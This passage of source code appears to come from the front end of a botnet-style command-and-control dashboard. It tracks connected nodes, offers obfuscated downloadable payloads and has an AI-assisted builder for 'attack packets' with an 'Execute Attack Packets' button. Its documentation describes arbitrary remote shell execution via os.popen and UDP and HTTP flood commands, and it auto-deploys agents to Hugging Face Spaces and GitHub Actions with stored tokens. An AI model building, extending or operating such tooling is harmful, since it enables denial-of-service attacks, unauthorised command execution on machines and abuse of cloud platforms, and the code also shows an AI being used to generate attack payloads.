                  const isActive = Date.now() - node.lastSeen < 20000;
                  const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
                  const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
                  return (
                  <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12 cursor-pointer" onClick={() => toggleSelect(node.id)}>
                    <td className="px-4" onClick={(e) => e.stopPropagation()}>
                      <input 
                        type="checkbox" 
                        className="rounded border-none bg-white/10 cursor-pointer accent-indigo-500"
                        checked={selected.has(node.id)}
                        onChange={() => toggleSelect(node.id)}
                      />
                    </td>
                    <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
                    <td className="py-3">
                      <span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
                        {node.type}
                      </span>
                    </td>
                    <td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
                    <td className="py-3 text-slate-400 text-xs max-w-[120px] truncate" title={node.systemInfo?.os || ''}>
                      {node.systemInfo?.os || node.systemInfo?.release || '-'}
                    </td>
                    <td className="py-3 text-slate-400 text-xs">
                      {node.systemInfo?.uptime || uptimeStr}
                    </td>
                    <td className="py-3 text-slate-400">
                      {Math.round((Date.now() - node.lastSeen) / 1000)}s ago
                    </td>
                    <td className="py-3">
                      <div className={`flex items-center gap-1.5 ${isActive ? 'text-emerald-400' : 'text-slate-400'}`}>
                        <div className={`w-1.5 h-1.5 rounded-full shadow-md ${isActive ? 'bg-emerald-500 shadow-emerald-500/50' : 'bg-slate-500'}`}></div> {isActive ? 'Online' : 'Offline'}
                      </div>
                    </td>
                    <td className="py-3 text-right pr-2">
                       <button onClick={() => removeNode(node.id)} className="text-xs text-red-400 border border-red-500/30 px-2 py-1 rounded bg-red-400/10 hover:bg-red-400/20 transition-colors">
                         Remove
                       </button>
                    </td>
                  </tr>
                  );
                })}
              </tbody>
            </table>
          </div>
        )}
      </Card>
    </div>
  );
}

function PayloadsTab() {
  const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
  const [activePayload, setActivePayload] = useState('hf_docker');
  const [obfuscate, setObfuscate] = useState(false);
  const [payloads, setPayloads] = useState<any[]>([]);

  useEffect(() => {
    fetch('/api/payloads').then(r => r.json()).then(d => setPayloads(d.payloads || []));
  }, []);

  useEffect(() => {
    fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
      .then(r => r.json())
      .then(d => setPayloadFiles(d.files || {}));
  }, [activePayload, obfuscate]);

  return (
    <div className="flex flex-col gap-6">
      <div className="mb-2">
        <h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
        <p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
        
        <div className="mt-4 flex items-center gap-2">
          <input 
            type="checkbox" 
            id="obfuscate" 
            checked={obfuscate} 
            onChange={(e) => setObfuscate(e.target.checked)}
            className="rounded border-none accent-indigo-500 bg-black/20 cursor-pointer"
          />
          <label htmlFor="obfuscate" className="text-sm font-medium text-slate-300 cursor-pointer">Obfuscate primary payload source code</label>
        </div>
      </div>

      <div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
        <div className="lg:col-span-1 flex flex-col gap-3">
          {payloads.map(t => (
            <button
              key={t.id}
              onClick={() => setActivePayload(t.id)}
              className={cn(
                "w-full text-left p-4 rounded-3xl transition-all border",
                activePayload === t.id
                  ? "glass border-indigo-500/50 text-white shadow-lg shadow-indigo-500/20"
                  : "glass border-transparent text-slate-400 hover:bg-white/5 hover:border-white/10"
              )}
            >
              <div className="font-semibold text-sm">{t.name}</div>
              <div className="text-xs mt-1 opacity-70 leading-relaxed">{t.desc}</div>
            </button>
          ))}
        </div>

        <div className="lg:col-span-3">
          <Card title={`Generated Files for ${payloads.find(t => t.id === activePayload)?.name}`}>
            <div className="flex flex-col gap-4">
              {Object.entries(payloadFiles).map(([filename, content]) => (
                <div key={filename} className="glass rounded-2xl overflow-hidden mb-2">
                  <div className="bg-white/5 px-4 py-3 border-b border-white/5 flex justify-between items-center">
                    <span className="font-mono text-sm text-slate-300">{filename}</span>
                    <button 
                      className="text-xs bg-white/10 hover:bg-white/20 px-4 py-1.5 rounded-lg text-white transition-colors"
                      onClick={() => navigator.clipboard.writeText(content as string)}
                    >
                      Copy
                    </button>
                  </div>
                  <pre className="p-4 bg-black/20 overflow-x-auto text-xs font-mono text-slate-400 max-h-64 scrollbar-thin scrollbar-thumb-white/10">
                    {content as string}
                  </pre>
                </div>
              ))}
              {Object.keys(payloadFiles).length === 0 && (
                <div className="text-center text-slate-400 py-10">Loading payloads...</div>
              )}
            </div>
          </Card>
        </div>
      </div>
    </div>
  );
}

function BuilderTab() {
  const [prompt, setPrompt] = useState('');
  const [mode, setMode] = useState<'payload' | 'packets' | 'manual' | 'dragdrop'>('dragdrop');
  const [loading, setLoading] = useState(false);
  const [result, setResult] = useState('');
  const [errorMsg, setErrorMsg] = useState('');
  const [payloadsList, setPayloadsList] = useState<any[]>([]);

  // Drag and Drop State
  const [blocks, setBlocks] = useState<{id: string; type: string; params: any}[]>([]);
  
  const sensors = useSensors(
    useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
    useSensor(KeyboardSensor, { coordinateGetter: sortableKeyboardCoordinates })
  );

  const handleDragEnd = (event: any) => {
    const { active, over } = event;
    if (active.id !== over.id) {
      setBlocks((items) => {
        const oldIndex = items.findIndex((i) => i.id === active.id);
        const newIndex = items.findIndex((i) => i.id === over.id);
        return arrayMove(items, oldIndex, newIndex);
      });
    }
  };

  const addBlock = (type: string) => {
    const config = BLOCK_CONFIGS[type];
    if (!config) return;
    const initialParams: any = {};
    for (const f of config.fields) initialParams[f.key] = f.default;
    setBlocks([...blocks, { id: crypto.randomUUID(), type, params: initialParams }]);
  };

  const updateBlockParams = (id: string, key: string, value: string) => {
    setBlocks(blocks.map(b => b.id === id ? { ...b, params: { ...b.params, [key]: value } } : b));
  };

  const removeBlock = (id: string) => {
    setBlocks(blocks.filter(b => b.id !== id));
  };

  const compileBlocks = () => {
    setResult(blocks.map(b => {
      const config = BLOCK_CONFIGS[b.type];
      return config ? config.generator(b.params) : '';
    }).join('\\n\\n'));
  };

  useEffect(() => {
    fetch('/api/payloads').then(r => r.json()).then(d => setPayloadsList(d.payloads || []));
  }, []);

  const generate = async () => {
    setLoading(true);
    setErrorMsg('');
    try {
      let endpoint = '/api/ai/generate-payload';
      let body: any = { prompt };
      
      if (mode === 'packets') endpoint = '/api/ai/generate-packets';

      const res = await fetch(endpoint, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body)
      });
      const data = await res.json();
      if (data.error) setErrorMsg(data.error);
      else setResult(mode === 'packets' ? JSON.stringify(data.packets, null, 2) : data.code);
    } catch (e: any) {
      setErrorMsg(e.message);
    }
    setLoading(false);
  };

  const analyzeReports = async () => {
    setLoading(true);
    setErrorMsg('');
    try {
      const res = await fetch('/api/ai/analyze-reports', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({})
      });
      const data = await res.json();
      if (data.error) setErrorMsg(data.error);
      else {
        setResult(JSON.stringify(data.packets, null, 2));
        setMode('packets');
      }
    } catch (e: any) {
      setErrorMsg(e.message);
    }
    setLoading(false);
  };

  const fetchTemplate = async (id: string) => {
    try {
      const res = await fetch(`/api/payloads/${id}`);
      const data = await res.json();
      if (data.files) {
        // Find the main file
        const mainContent = data.files['client.py'] || data.files['client.js'] || data.files['monitor.sh'] || data.files['client.c'] || Object.values(data.files)[0];
        if (typeof mainContent === 'string') {
          setResult(mainContent as string);
        }
      }
    } catch (e) {
      console.error(e);
    }
  };

  const saveCustomPayload = async () => {
    const name = window.prompt("Enter a name for this custom payload:");
    if (!name) return;
    try {
      const codeToSave = mode === 'dragdrop' ? blocks.map(b => b.content).join('\\n\\n') : result;
      if (!codeToSave.trim()) return alert("No code to save.");
      
      await fetch('/api/ai/save-payload', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ name, code: codeToSave })
      });
      alert('Payload saved! You can find it in the Deploy Payloads tab.');
    } catch (e: any) {
      alert("Error saving: " + e.message);
    }
  };

  const executePackets = async () => {
    try {
      const packets = JSON.parse(result);
      if (!Array.isArray(packets)) throw new Error("Packets must be a JSON array.");
      
      for (const pkt of packets) {
        await fetch('/api/commands', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
        });
        await new Promise(resolve => setTimeout(resolve, 50)); // Ensure backpressure handling isn't triggered
      }
      alert(`Dispatched ${packets.length} packets to all nodes.`);
    } catch (e: any) {
      alert("Error executing packets: " + e.message);
    }
  };

  return (
    <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
      <div className="mb-2">
        <h2 className="text-2xl font-bold text-white tracking-tight">Builder</h2>
        <p className="text-slate-400 mt-2 text-sm leading-relaxed">
          Design custom payloads manually or use AI to craft advanced implementations and attack packets.
        </p>
      </div>

      <div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
        <Card title="AI Input / Configuration" icon={<Cpu size={18} />}>
          <div className="flex flex-col gap-4">
            <div className="flex bg-black/20 rounded-lg p-1 mt-2">
              <button 
                onClick={() => setMode('payload')}
                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
              >
                Gen Payload
              </button>
              <button 
                onClick={() => setMode('packets')}
                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'packets' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
              >
                Gen Packets
              </button>
              <button 
                onClick={() => setMode('dragdrop')}
                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'dragdrop' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
              >
                Visual Block Builder
              </button>
              <button 
                onClick={() => setMode('manual')}
                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
              >
                Raw Editor
              </button>
            </div>
            
            {(mode === 'manual' || mode === 'dragdrop') ? (
              <div className="flex flex-col gap-4">
                <div className="bg-black/20 border border-white/10 rounded-xl p-3">
                  <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
                  <div className="flex flex-wrap gap-2">
                    {payloadsList.map(p => (
                      <button key={p.id} onClick={() => fetchTemplate(p.id)} className="px-3 py-1 bg-white/5 hover:bg-white/10 rounded-md text-xs text-white">
                        {p.name}
                      </button>
                    ))}
                  </div>
                </div>
                <div className="bg-black/20 border border-white/10 rounded-xl p-3">
                  <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Code Block Library</h3>
                  {mode === 'dragdrop' ? (
                     <div className="flex flex-col gap-2">
                       <p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
                       <div className="grid grid-cols-2 gap-2">
                        {Object.entries(BLOCK_CONFIGS).map(([type, config]) => (
                          <div key={type} onClick={() => addBlock(type)} className={cn("cursor-pointer border bg-black/10 hover:bg-black/20 rounded-lg p-2 flex flex-col items-start transition-all", config.color.replace('bg-', 'border-').replace('-600', '-500/30'))}>
                             <div className={cn("text-xs font-bold", config.color.replace('bg-', 'text-').replace('-600', '-300'))}>{config.title}</div>
                             <div className="text-[10px] text-slate-400 mt-1">Add to execution chain.</div>
                          </div>
                        ))}
                       </div>
                     </div>
                  ) : (
                    <div className="flex flex-wrap gap-2">
                      <button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n    pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
                      <button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n    pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
                      <button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n    pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
                      <button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n    pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
                    </div>
                  )}
                </div>
              </div>
            ) : (
              <>
                <textarea 
                  value={prompt}
                  onChange={(e) => setPrompt(e.target.value)}
                  placeholder={mode === 'payload' ? "Create a reverse proxy implementation..." : "A chain of HTTP requests against specific endpoints..."}
                  rows={6}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm"
                />
                <button 
                  onClick={generate}
                  disabled={loading || !prompt.trim()}
                  className={cn(
                    "px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
                    (loading || !prompt.trim()) ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30"
                  )}
                >
                  {loading ? 'Processing...' : 'Generate AI Routine'}
                </button>
                {mode === 'packets' && (
                  <button 
                    onClick={analyzeReports}
                    disabled={loading}
                    className={cn(
                      "px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
                      loading ? "bg-emerald-600/50 cursor-not-allowed" : "bg-emerald-600 hover:bg-emerald-500 shadow-emerald-500/30"
                    )}
                  >
                    Analyze Reports for Bypass Pipeline
                  </button>
                )}
              </>
            )}
            {errorMsg && <div className="text-red-400 text-sm mt-1 p-2 bg-red-500/10 rounded">{errorMsg}</div>}
          </div>
        </Card>

        <Card title={mode === 'dragdrop' ? "Active Source Chain" : "Artifact / Editor"} icon={<FileText size={18} />}>
          {mode === 'dragdrop' ? (
            <div className="flex flex-col h-full gap-3">
              <div className="flex justify-end gap-2 px-1">
                 <button onClick={() => { compileBlocks(); setMode('manual'); }} className="text-xs bg-slate-600 hover:bg-slate-500 px-3 py-1 rounded text-white transition-all font-bold">Edit Raw Code</button>
                 <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save Chain as Payload</button>
              </div>
              <div className="flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 overflow-y-auto w-full">
                {blocks.length === 0 ? (
                  <div className="flex flex-col items-center justify-center h-full text-slate-400/50">
                    <p className="text-sm font-medium">Click blocks on the left to build your chain.</p>
                  </div>
                ) : (
                  <DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
                    <SortableContext items={blocks} strategy={verticalListSortingStrategy}>
                      {blocks.map((block) => (
                        <SortableBlock key={block.id} {...block} onUpdate={updateBlockParams} onRemove={removeBlock} />
                      ))}
                    </SortableContext>
                  </DndContext>
                )}
              </div>
              <p className="text-xs text-slate-400 px-1 opacity-60">Block chaining runs the raw python vertically. Top to bottom.</p>
            </div>
          ) : result ? (
            <div className="flex flex-col h-full gap-3">
              <div className="flex justify-end gap-2 px-1">
                {(mode === 'payload' || mode === 'manual') ? (
                  <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
                ) : null}
                {mode === 'packets' && (
                  <button onClick={executePackets} className="text-xs bg-red-500 hover:bg-red-400 px-3 py-1 rounded text-white transition-all font-bold tracking-wide uppercase">Execute Attack Packets</button>
                )}
                <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
              </div>
              <textarea 
                value={result}
                onChange={e => setResult(e.target.value)}
                className="w-full flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 text-emerald-300 focus:outline-none focus:border-emerald-500 transition-all font-mono text-xs"
              />
              <p className="text-xs text-slate-400 px-1">You can freely edit this artifact. When ready, paste it into the Payload section or JSON execution box.</p>
            </div>
          ) : (
            <div className="flex flex-col items-center justify-center p-10 h-[250px] text-slate-400/50">
              <Terminal size={32} className="mb-4 opacity-50" />
              <p className="text-sm font-medium">{mode === 'manual' ? 'Select a template or start typing' : 'Awaiting Generation...'}</p>
            </div>
          )}
        </Card>
      </div>
    </div>
  );
}

function DocsTab() {
  return (
    <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
      <div className="mb-2">
        <h2 className="text-2xl font-bold text-white tracking-tight">Documentation</h2>
        <p className="text-slate-400 mt-2 text-sm leading-relaxed">
          Learn how to craft custom JSON payloads or integrate existing commands. The system translates these commands to instructions executed natively on connected nodes.
        </p>
      </div>

      <Card title="Implementing Existing Commands into Custom Payloads" icon={<FileText size={18} />}>
        <div className="text-sm text-slate-300">
          <p className="mb-4">
            If you are building a custom payload (using the <strong>Builder</strong> tab tool manually or using AI), you can intercept standard commands dispatched by the control panel.
            The command payload is a JSON object. You just need to parse it and run your logic.
          </p>
          <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-indigo-300 mb-4">
{`# Python Example
cmd_type = cmd.get('type')
payload = cmd.get('payload', {})

if cmd_type == 'fetch_http_test':
    # Implement HTTP fetch using payload.get('ip') and payload.get('port')
    result = exec_fetch_http_test(payload.get('ip'), payload.get('port'))
elif cmd_type == 'exec_shell':
    # Implement shell execution
    result = os.popen(payload.get('cmd')).read()
`}
          </pre>
          <p>
            You can find the standard command types in the UI (e.g., <code>fetch_http_test</code>, <code>socket_tcp_probe</code>, <code>dns_resolve</code>, <code>exec_shell</code>).
            Simply map each <code>cmd.type</code> to a function in your custom payload script.
          </p>
        </div>
      </Card>

      <Card title="Making New Custom Commands" icon={<Cpu size={18} />}>
        <div className="text-sm text-slate-300">
          <p className="mb-4">
            You can create entirely new, custom commands. For example, if you want a custom Flood Attack or sequence generation.
            Under <strong>System Commands &gt; Custom JSON Command</strong>, dispatch your arbitrary JSON:
          </p>
          <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-emerald-300 mb-4">
{`{
  "type": "custom_flood",
  "payload": {
    "target": "example.com",
    "packets": 1000,
    "threads": 10
  }
}`}
          </pre>
          <p className="mb-4 text-emerald-400 font-medium">Handling Custom Sequences</p>
          <p className="mb-4">
            In your Custom Payload, catch <code>cmd_type == 'custom_flood'</code> or <code>'custom_json'</code> and structure your specific attack pipeline logic. 
            The AI Builder parses the <strong>current commands</strong> from the server source during generation, so if you ask it to <em>"Send X packets to Y target"</em>, it will intelligently build both the Python implementation and the JSON array required to trigger it.
          </p>
        </div>
      </Card>
      
      <Card title="Attack Pipeline Generation (Packets)" icon={<Globe size={18} />}>
        <div className="text-sm text-slate-300">
          <p className="mb-4">
            Under the <strong>Builder</strong> tab, selecting <code>Gen Packets</code> generates an array of actions. You can use standard actions, or define custom ones for AI to fill out parameters like headers, intervals, and routing behavior:
          </p>
          <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-amber-300 mb-4">
{`[
  { "type": "fetch_http_test", "payload": { "ip": "1.1.1.1", "port": 80 } },
  { "type": "custom_stealth_ping", "payload": { "target": "10.0.0.5", "delay_ms": 500 } }
]`}
          </pre>
          <p className="mb-2">Once generated, you can click <strong className="text-red-400">Execute Attack Packets</strong> directly from the UI, distributing them evenly to all connected node agents.</p>
        </div>
      </Card>

      <Card title="Available Command Types" icon={<Terminal size={18} />}>
        <div className="text-sm text-slate-300">
          <ul className="space-y-4">
            <li className="p-3 bg-white/5 rounded-lg border border-white/5">
              <strong className="text-white block mb-1">exec_shell</strong>
              <p className="mb-2">Execute an arbitrary terminal command.</p>
              <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
            </li>
            <li className="p-3 bg-white/5 rounded-lg border border-white/5">
              <strong className="text-white block mb-1">network_flood</strong>
              <p className="mb-2">Execute an arbitrary stream of UDP or HTTP requests.</p>
              <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"udp_flood\", \"payload\": { \"ip\": \"example.com\", \"port\": 80, \"duration\": 5, \"packet_size\": 1024 } }"}</code>
            </li>
            <li className="p-3 bg-white/5 rounded-lg border border-white/5">
              <strong className="text-white block mb-1">fetch_http_test</strong>
              <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
              <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"fetch_http_test\", \"payload\": { \"ip\": \"example.com\", \"port\": 80 } }"}</code>
            </li>
          </ul>
        </div>
      </Card>
    </div>
  );
}

function SettingsTab() {
  const [hfToken, setHfToken] = useState('');
  const [ghToken, setGhToken] = useState('');
  const [geminiToken, setGeminiToken] = useState('');
  const [geminiModel, setGeminiModel] = useState<'2.5' | '3.0'>('2.5');
  const [status, setStatus] = useState('');

  useEffect(() => {
    fetch('/api/tokens/status').then(res => res.json()).then(data => {
      if (data.gemini_model) setGeminiModel(data.gemini_model);
    }).catch(()=>{});
  }, []);

  const handleSave = async () => {
    try {
      const res = await fetch('/api/tokens', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ hf_token: hfToken, github_token: ghToken, gemini_token: geminiToken, gemini_model: geminiModel })
      });
      const data = await res.json();
      setStatus(data.message || 'Saved securely to in-memory state.');
      setTimeout(() => setStatus(''), 3000);
    } catch (e) {
      setStatus('Error saving tokens.');
    }
  };

  return (
    <div className="max-w-2xl mx-auto flex flex-col gap-6">
      <div className="mb-2">
        <h2 className="text-2xl font-bold text-white tracking-tight">Integrations & Auth</h2>
        <p className="text-slate-400 mt-2 text-sm leading-relaxed">
          Tokens are stored <strong>strictly in the server's runtime memory</strong>. 
          They are never written to payloads or disk. Used exclusively to automate payload deployment to your Hugging Face or GitHub accounts via their official APIs.
        </p>
      </div>

      <Card title="API Tokens" icon={<ShieldCheck size={18} />}>
        <div className="flex flex-col gap-4">
          <div>
            <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini AI Model Generation Version</label>
            <div className="flex bg-black/20 border border-white/10 rounded-xl p-1 w-full gap-1">
              <button 
                onClick={() => setGeminiModel('2.5')}
                className={cn("flex-1 py-2 text-sm rounded-lg transition-all font-medium", geminiModel === '2.5' ? "bg-indigo-500 text-white shadow-md shadow-indigo-500/20" : "text-slate-400 hover:text-slate-200")}
              >
                Gemini 2.5 Pro
              </button>
              <button 
                onClick={() => setGeminiModel('3.0')}
                className={cn("flex-1 py-2 text-sm rounded-lg transition-all font-medium", geminiModel === '3.0' ? "bg-indigo-500 text-white shadow-md shadow-indigo-500/20" : "text-slate-400 hover:text-slate-200")}
              >
                Gemini 3.0 Pro
              </button>
            </div>
          </div>
          <div>
            <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Hugging Face Token</label>
            <input 
              type="password" 
              value={hfToken}
              onChange={e => setHfToken(e.target.value)}
              placeholder="hf_..."
              className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
            />
          </div>
          <div>
            <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">GitHub PAT</label>
            <input 
              type="password" 
              value={ghToken}
              onChange={e => setGhToken(e.target.value)}
              placeholder="ghp_..."
              className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
            />
          </div>
          <div>
            <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini API Key (Optional Override)</label>
            <input 
              type="password" 
              value={geminiToken}
              onChange={e => setGeminiToken(e.target.value)}
              placeholder="AI Studio API Key..."
              className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
            />
          </div>
          <div className="pt-4 flex items-center justify-between">
            <button 
              onClick={handleSave}
              className="px-5 py-2.5 bg-indigo-500 hover:bg-indigo-400 text-white rounded-xl font-medium shadow-lg shadow-indigo-500/30 transition-all"
            >
              Securely Save to Memory
            </button>
            {status && <span className="text-sm text-emerald-400 font-medium bg-emerald-500/10 px-3 py-1 rounded-full border border-emerald-500/20">{status}</span>}
          </div>
        </div>
      </Card>
    </div>
  );
}

function DeployTab() {
  const [provider, setProvider] = useState('hf');
  const [hfSdk, setHfSdk] = useState('docker');
  const [name, setName] = useState('');
  const [status, setStatus] = useState('');
  const [loading, setLoading] = useState(false);

  const handleDeploy = async () => {
    setLoading(true);
    setStatus('Deploying...');
    try {
      const endpoint = provider === 'hf' ? '/api/deploy/hf' : '/api/deploy/github';
      const payload = provider === 'hf' ? { name, sdk: hfSdk } : { name };
      const res = await fetch(endpoint, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload)
      });
      const data = await res.json();
      if (data.error) throw new Error(data.error);
      setStatus(`${data.message}\n(Make sure to wait a few minutes for the cloud providers to build and start the apps.)`);
    } catch (e: any) {
      setStatus(`Error: ${e.message}`);
    }
    setLoading(false);
  };

  return (
    <div className="max-w-3xl mx-auto flex flex-col gap-6 w-full">
      <div className="mb-2">
        <h2 className="text-2xl font-bold text-white tracking-tight">Automated Cloud Deploy</h2>
        <p className="text-slate-400 mt-2 text-sm leading-relaxed">
          Create and deploy connected nodes automatically using your saved integration tokens.
        </p>
      </div>

      <Card title="Deploy New Node" icon={<Globe size={18} />}>
        <div className="flex flex-col gap-5">
          <div className="grid grid-cols-2 gap-4">
            <button 
              onClick={() => setProvider('hf')}
              className={cn("p-4 rounded-2xl border transition-all text-left", provider === 'hf' ? "glass border-indigo-500/50" : "bg-black/20 border-white/5 hover:border-white/10")}
            >
              <h3 className="font-semibold text-white">Hugging Face Space</h3>
              <p className="text-xs text-slate-400 mt-1">Deploy Python clients via HF Hub API.</p>
            </button>
            <button 
              onClick={() => setProvider('github')}
              className={cn("p-4 rounded-2xl border transition-all text-left", provider === 'github' ? "glass border-indigo-500/50" : "bg-black/20 border-white/5 hover:border-white/10")}
            >
              <h3 className="font-semibold text-white">GitHub Actions</h3>
              <p className="text-xs text-slate-400 mt-1">Deploy Python background clients to GH Repos.</p>
            </button>
          </div>

          {provider === 'hf' && (
            <div>
              <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Space SDK</label>
              <select 
                value={hfSdk}
                onChange={(e) => setHfSdk(e.target.value)}
                className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner"
              >
                <option value="docker">Docker (Background Script Python)</option>
                <option value="gradio">Gradio (UI with Background Poller)</option>
              </select>
            </div>
          )}

          <div>
            <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Deployment Name</label>
            <input 
              type="text" 
              value={name}
              onChange={e => setName(e.target.value)}
              placeholder="e.g. node-cluster-abc (Optional, random if empty)"
              className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner text-sm"
            />
          </div>

          <div className="pt-2 border-t border-white/5 flex flex-col gap-3">
            <button 
              disabled={loading}
              onClick={handleDeploy}
              className={cn("px-6 py-3 text-white rounded-xl font-medium transition-all shadow-lg w-full flex items-center justify-center gap-2", 
                loading ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30")}
            >
              <Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
            </button>
            {status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border whitespace-pre-wrap", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
          </div>
        </div>
      </Card>
    </div>
  );
}

function ReportResultViewer({ report }: { report: any }) {
  if (report.type === 'list_directory' && report.result?.files) {
    return (
      <div className="bg-black/40 rounded-lg p-2 border border-white/5">
        <div className="flex items-center gap-2 mb-2 px-2 pb-2 border-b border-white/10">
          <Folder size={14} className="text-indigo-400" />
          <span className="text-xs font-semibold text-white">Directory Contents</span>
        </div>
        <div className="flex flex-col max-h-64 overflow-y-auto pr-1 nice-scrollbar">
          {report.result.files.map((f: string, i: number) => (
            <div key={i} className="text-xs text-slate-300 py-1.5 px-2 hover:bg-white/5 rounded flex items-center transition-colors">
              <span className="mr-2 text-slate-500">{'>'}</span>
              <span className="truncate">{f}</span>
            </div>
          ))}
          {report.result.files.length === 0 && <span className="text-xs text-slate-500 italic p-2">Empty directory</span>}
        </div>
      </div>
    );
  } else if (report.type === 'get_file_info' && report.result?.info !== undefined) {
    return (
      <div className="bg-black/40 rounded-lg p-3 border border-white/5">
        <div className="flex items-center gap-2 mb-2 pb-2 border-b border-white/10">
          <FileText size={14} className="text-indigo-400" />
          <span className="text-xs font-semibold text-white">File Information</span>
        </div>
        <div className="grid grid-cols-2 gap-2 text-xs">
